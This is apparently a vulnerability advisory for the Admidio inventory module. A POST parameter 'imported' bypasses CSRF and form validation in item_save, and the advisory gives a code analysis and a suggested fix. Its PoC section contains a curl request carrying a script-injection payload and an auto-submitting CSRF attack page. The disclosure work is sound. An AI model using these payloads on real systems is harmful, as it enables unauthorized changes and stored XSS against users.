Admidio has CSRF and Form Validation Bypass in Inventory Item Save via `imported` Parameter

Summary

The inventory module's item_save endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces.

Details

In modules/inventory.php, the imported parameter is read from POST input:

File: modules/inventory.php:50

$postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultValue' => false));

This is then passed to ItemService:

File: modules/inventory.php:251-256

$itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported);
$itemService->save(true);

Inside ItemService::save(), the postImported flag completely skips CSRF and form validation:

File: src/Inventory/Service/ItemService.php:99-109

public function save(bool $multiEdit = false): void
{
    global $gCurrentSession, $gL10n, $gSettingsManager;

    // check form field input and sanitized it from malicious content
    if (!$this->postImported) {
        $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
        $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    } else {
        $formValues = $_POST;   // Raw $_POST used with no CSRF check, no validation
    }
    // ... item data is saved using raw $formValues

When imported=1 is sent, the code:

1. Skips $gCurrentSession->getFormObject() — which validates the CSRF token
2. Skips $itemFieldsEditForm->validate() — which sanitizes and validates field values
3. Uses raw $_POST values directly to save to the database

This means:

• CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data
• Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped
• Raw user input flows into $this->itemRessource->setValue() and then saveItemData() without the normal server-side sanitization

PoC

# As an authenticated user with inventory access, save arbitrary item data
# without a valid CSRF token and without form validation:

curl -X POST -b 'ADMIDIO_SESSION=<session>' \
  'https://admidio.local/modules/inventory.php?mode=item_save' \
  -d 'imported=1' \
  -d 'adm_csrf_token=anything' \
  -d 'INF-CATEGORY=1' \
  -d 'INF-ITEMNAME=<script>alert(1)</script>'

# The CSRF token is not checked because imported=true skips the form object lookup.
# The field value is not sanitized because validate() is skipped.

A CSRF attack page would look like:

<html>
<body>
<form action="https://admidio.local/modules/inventory.php?mode=item_save" method="POST">
  <input type="hidden" name="imported" value="1" />
  <input type="hidden" name="adm_csrf_token" value="dummy" />
  <input type="hidden" name="INF-CATEGORY" value="1" />
  <input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Impact

• CSRF bypass: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page.
• Validation bypass: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored.
• Stored XSS potential: Because validate() is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).

Recommended Fix

Remove the imported parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the imported flag:

public function save(bool $multiEdit = false): void
{
    global $gCurrentSession, $gL10n, $gSettingsManager;

    // ALWAYS validate CSRF token
    $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);

    if (!$this->postImported) {
        $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    } else {
        // For imported items, still validate the CSRF token (done above)
        // and apply basic sanitization
        $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    }
    // ...
}

Alternatively, the imported flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.